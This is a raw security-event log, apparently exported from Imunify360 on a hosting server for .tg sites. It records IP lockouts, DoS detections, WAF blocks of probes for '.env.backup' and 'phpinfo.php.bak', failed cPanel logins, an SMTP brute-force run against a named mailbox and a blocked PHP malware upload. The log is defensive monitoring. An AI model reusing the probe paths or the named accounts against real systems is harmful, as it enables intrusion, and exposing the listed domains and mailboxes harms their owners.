plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.20.97.192
country_id: 1562822
description:
Jun 24 00:32:11 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.20.97.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.136.180.139
country_id: 1814991
description:
Jun 24 00:32:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.136.180.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 00:34:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.160
country_id: 130758
description:
Jun 24 00:36:15 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.160 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 52.16.20.104
country_id: 2963597
domain: sahamtg.com
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:sahamtg||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.177.126
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.177.126: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.223.112.54
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.223.112.54: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.179.99
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.179.99: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.179.87
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.179.87: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.223.112.3
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.223.112.3: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.223.46.176
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.223.46.176: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.179.52
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.179.52: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.223.112.24
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.223.112.24: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.35.28.47
country_id: 3017382
description:
Jun 24 00:41:23 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.35.28.47 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.114.159.194
country_id: 1861060
domain: www.moodle.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:moodlefreenetmas||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 54.212.194.64
country_id: 6252001
description:
[2026-06-24 00:42:42 +0000] info [whostmgrd] 54.212.194.64 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.212.194.64
country_id: 6252001
description:
[2026-06-24 00:42:41 +0000] info [whostmgrd] 54.212.194.64 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.22.237
country_id: 2661886
description:
Denial of Service (DoS) attack was discovered from 74.63.22.237: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.47.25.139
country_id: 1880251
description:
Jun 24 00:47:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.47.25.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-49.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.10.37.168
country_id: 1643084
description:
Jun 24 00:49:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.10.37.168 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 89.104.170.200
country_id: 6251999
description:
Denial of Service (DoS) attack was discovered from 89.104.170.200: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.167.34.120
country_id: 6252001
description:
Jun 24 00:50:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.167.34.120 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 69.72.248.46
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 69.72.248.46: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jun 24 00:51:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 24 00:51:53 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.48.78.242
country_id: 6252001
description:
Jun 24 00:55:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.48.78.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 00:55:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 52.192.175.119
country_id: 1861060
description:
Jun 24 00:55:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 52.192.175.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 52.192.175.119
country_id: 1861060
description:
2026-06-24 00:55:38 dovecot_plain authenticator failed for H=ec2-52-192-175-119.ap-northeast-1.compute.amazonaws.com (3z0iktl28vszf75orl4s) [52.192.175.119]:11050: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.76.192.176
country_id: 1819730
description:
Jun 24 00:59:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.76.192.176 has been locked due to Imunify RBL


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: www.matosshop.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; 22111317PG Build/TKQ1.221114.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023108040 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/31.8.4 ByteLocale/pt ByteFullLocale/pt Region/BR AppId/1233 Spark/1.4.3-alpha.5 AppVersion/31.8.4 BytedanceWebview/d8a21c6||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 163.116.136.7
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 163.116.136.7: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.100.194.252
country_id: 1880251
description:
Jun 24 01:06:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.100.194.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.180.2
country_id: 2921044
description:
Jun 24 01:07:20 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.180.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.204.210.249
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1173-2 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.240.55
country_id: 3469034
domain: tchambainvest.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tchambainvest.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.100.194.252
country_id: 1880251
description:
Jun 24 01:09:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.100.194.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.245
country_id: 3469034
description:
Jun 24 01:10:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.245 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-24 01:10:58 +0000] info [cpaneld] 13.222.202.238 - camaegdtomgo "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jun 24 01:13:16 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 24 01:14:46 ns5.netmaster.tg cpanel_fileman_hook[3646494]: 0 BAILOUT malware detected when save 'test123Cp.php' in public_html for user mipbtgnb


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.248.85.206
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/08/PAULIN-OK-750x375-1.jpg 750w, http:/togodailynews.tg/wp-content/uploads/2022/08/PAULIN-OK-750x375-1-300x150.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.136.180.139
country_id: 1814991
description:
Jun 24 01:14:35 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.136.180.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 24 01:16:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 01:16:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.166
country_id: 2993457
description:
Jun 24 01:17:21 ns5 pure-ftpd[3647590]: (?@194.165.16.166) [INFO] New connection from 194.165.16.166


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.86.248.207
country_id: 1733045
description:
2026-06-24 01:17:57 dovecot_login authenticator failed for H=(195.86.248.207) [195.86.248.207]:44038: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.40
country_id: 130758
description:
Jun 24 01:19:02 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.40 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 47.254.179.178
country_id: 2921044
description:
Jun 24 01:20:39 ns5 pure-ftpd[3648734]: (?@47.254.179.178) [INFO] New connection from 47.254.179.178


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 167.253.16.157
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:167.253.16.157||TA:167.253.16.157||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.61.117.89
country_id: 1733045
description:
Jun 24 01:24:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.61.117.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.231.104.237
country_id: 2921044
description:
Jun 24 01:27:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.231.104.237 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.194.218.134
country_id: 3017382
description:
[2026-06-24 01:28:12 +0000] info [cpaneld] 185.194.218.134 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 24 01:28:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.242.101.101
country_id: 6252001
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/storage/slides/September2019/FW5jDzbv4UIe9HT7J7CQ.jpg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.10.37.168
country_id: 1643084
description:
Jun 24 01:30:04 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.10.37.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:30:41 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65118: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
description:
[2026-06-24 01:31:59 +0000] info [whostmgrd] 157.85.207.112 -  netmast  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:31:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65140: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:33:04 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65204: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:32:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65179: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 24 01:32:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account allied@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 24 01:33:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account allied@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:33:27 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65217: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 24 01:34:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account allied@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:34:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65265: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:35:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65307: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:35:42 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65314: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.43
country_id: 6252001
description:
205.169.39.43 - - [24/Jun/2026:01:35:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10183064&pdata=http%253A%252F%252Fcafeit.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782264948 HTTP/1.1" 302 0 cafeit.tg "http://cafeit.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.43


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [24/Jun/2026:01:35:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7129498&pdata=http%253A%252F%252Fcafeit.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782264946 HTTP/1.1" 302 0 cafeit.tg "http://cafeit.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 146.70.65.241
country_id: 2328926
domain: misstogo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 24 01:35:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account allied@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:36:28 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65369: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:36:28 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65367: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.20.97.192
country_id: 1562822
description:
Jun 24 01:36:47 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.20.97.192 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.198
country_id: 6252001
description:
Jun 24 01:37:12 ns5 pure-ftpd[3656262]: (?@147.185.132.198) [INFO] New connection from 147.185.132.198


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 24 01:36:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account allied@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 24 01:37:02 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:37:38 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65473: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 24 01:37:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account allied@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:37:38 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65472: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 01:37:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 24 01:39:13 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.180.2
country_id: 2921044
description:
Jun 24 01:38:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.180.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.76.192.176
country_id: 1819730
description:
Jun 24 01:38:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.76.192.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 24 01:38:35 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account allied@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:38:37 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:49177: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.186
country_id: 130758
description:
Jun 24 01:39:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:38:37 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:49179: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 24 01:39:34 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account allied@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:39:36 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:49518: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-24 01:39:36 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:49517: 535 Incorrect authentication data (set_id=allied@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.246.23.38
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36-300x300.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36-1024x1024.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36-150x150.webp 150w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36-768x768.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36.webp 1280w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-24 01:40:44 +0000] info [cpaneld] 13.222.202.238 - einguval "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.65
country_id: 130758
description:
Jun 24 01:40:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.66
country_id: 3469034
description:
Jun 24 01:43:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.199.133
country_id: 3469034
description:
Jun 24 01:44:12 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.199.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.199.133
country_id: 3469034
description:
Jun 24 01:44:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.199.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.96.67
country_id: 3469034
description:
Jun 24 01:44:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.96.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.127.224.82
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/86807e HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.248.192.93
country_id: 1269750
description:
Jun 24 01:47:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.248.192.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
